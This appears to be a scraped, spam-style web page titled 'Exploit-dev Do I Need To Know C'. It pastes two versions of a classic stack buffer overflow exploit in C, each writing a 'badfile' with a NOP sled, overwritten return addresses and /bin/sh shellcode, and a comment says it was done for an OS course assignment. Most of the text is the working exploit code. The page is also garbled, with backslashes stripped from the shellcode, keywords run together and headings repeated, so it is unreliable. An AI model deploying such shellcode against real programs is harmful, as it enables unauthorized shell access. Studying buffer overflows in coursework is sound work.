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Exploit-dev Do I Need To Know C

31.12.2020
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  • Dec 19, 2016 Hacker is a person who uses computers in order to get unauthorized access to data. Hacking is not a crime unless and until you do it for illegal activities.
  • Aug 09, 2015  C will be utterly useless if the exploit in question depends on an eval in a PHP application or an SQL injection. Therefore: Research your target and use the right tools - and programming languages - when and how the situation calls for.

Exploit-dev Do I Need To Know C Low

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/* exploit.c */
/* A program that creates a file containing code for launching shell */
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
char shellcode[]=
'x31xc0'/* xorl %eax,%eax */
'x50'/* pushl %eax */
'x68''//sh'/* pushl $0x68732f2f */
'x68''/bin'/* pushl $0x6e69622f */
'x89xe3'/* movl %esp,%ebx */
'x50'/* pushl %eax */
'x53'/* pushl %ebx */
'x89xe1'/* movl %esp,%ecx */
'x99'/* cdql */
'xb0x0b'/* movb $0x0b,%al */
'xcdx80'/* int $0x80 */
;
unsignedlongget_sp(void)
{
/* This function (suggested in alephOne's paper) prints the
stack pointer using assembly code. */
__asm__('movl %esp,%eax');
}
voidmain(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Initialization of variables (cf. alephOne's tutorial) */
char *ptr;
long *addr_ptr, addr;
int offset = 200, bsize = 517;
int i;
addr = get_sp() + offset;
ptr = buffer;
addr_ptr = (long*)(ptr);
/* First, fill with the buffer address
This is slightly adapted from alephOne's tutorial
because gcc detected it as a smashing attempt */
for (i = 0; i < 10; i++)
*(addr_ptr++) = addr;
/* We now fill the rest of the buffer with our shellcode
which was provided above. Again, this is slightly
adapted from alephOne's tutorial because gcc
detected it as a smashing attempt */
for (i = 0; i < strlen(shellcode); i++)
buffer[bsize - (sizeof(shellcode) + 1) + i] = shellcode[i];
/* Finally, we insert a NULL code at the very end of the buffer */
buffer[bsize - 1] = '0';
/* Save the contents to the file 'badfile' */
badfile = fopen('./badfile', 'w');
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
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Exploit-dev Do I Need To Know Clean

exploit.c
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
char shellcode[]=
'x31xc0'/* xorl %eax,%eax */
'x50'/* pushl %eax */
'x68''//sh'/* pushl $0x68732f2f */
'x68''/bin'/* pushl $0x6e69622f */
'x89xe3'/* movl %esp,%ebx */
'x50'/* pushl %eax */
'x53'/* pushl %ebx */
'x89xe1'/* movl %esp,%ecx */
'x99'/* cdql */
'xb0x0b'/* movb $0x0b,%al */
'xcdx80'/* int $0x80 */
;
voidmain(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
char mycode[20] =
/* first line: valid size of buf (12 bytes) */
'xffxffxffxffxffxffxffxffxffxffxffxff'
/* second line: skip past sfp (1 word) */
'xffxffxffxff'
/* third line: overwrite ret with beginning of shellcode */
/* note: stack for bof() begins at ~0xbffff2f8 +/- 0x10?*/
/* so buf starts at that minus 12(??? byte alignment) which is bffff2ec */
/* first 20 bytes are stack smasher ---> bffff300 */
/* then lots of NOPs */
/* put script at end so it falls through */
/* we'll jump somewhere shortly after our smasher -- */
/* try 0xbffff340 */
'x40xf3xffxbf'; /* this will be replaced */
/* note: write in little-endian */
/* (long*)(mycode+16)=0xbffff230; replace it here -- currently not working */
/* now put this at the beginning of badfile. */
int i;
for( i = 0; i < 20; i++ )
{
buffer[i]=mycode[i];
}
/* this will now go at the end of the buffer */
/* note word alignment floor truncation */
int startpoint = ((516-strlen(shellcode)-20)/4)*4;
int endpoint = startpoint+strlen(shellcode);
int j = 0;
for( i=startpoint,j; i < endpoint; i++,j++ )
{
buffer[i]=shellcode[j];
}
/* Save the contents to the file 'badfile' */
badfile = fopen('./badfile', 'w');
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

commented May 1, 2013

Exploit-dev Do I Need To Know C Lo

Note: this was for an OS assignment demonstrating buffer overflow vulnerability of certain executables, and ways to counteract those vulnerabilities.

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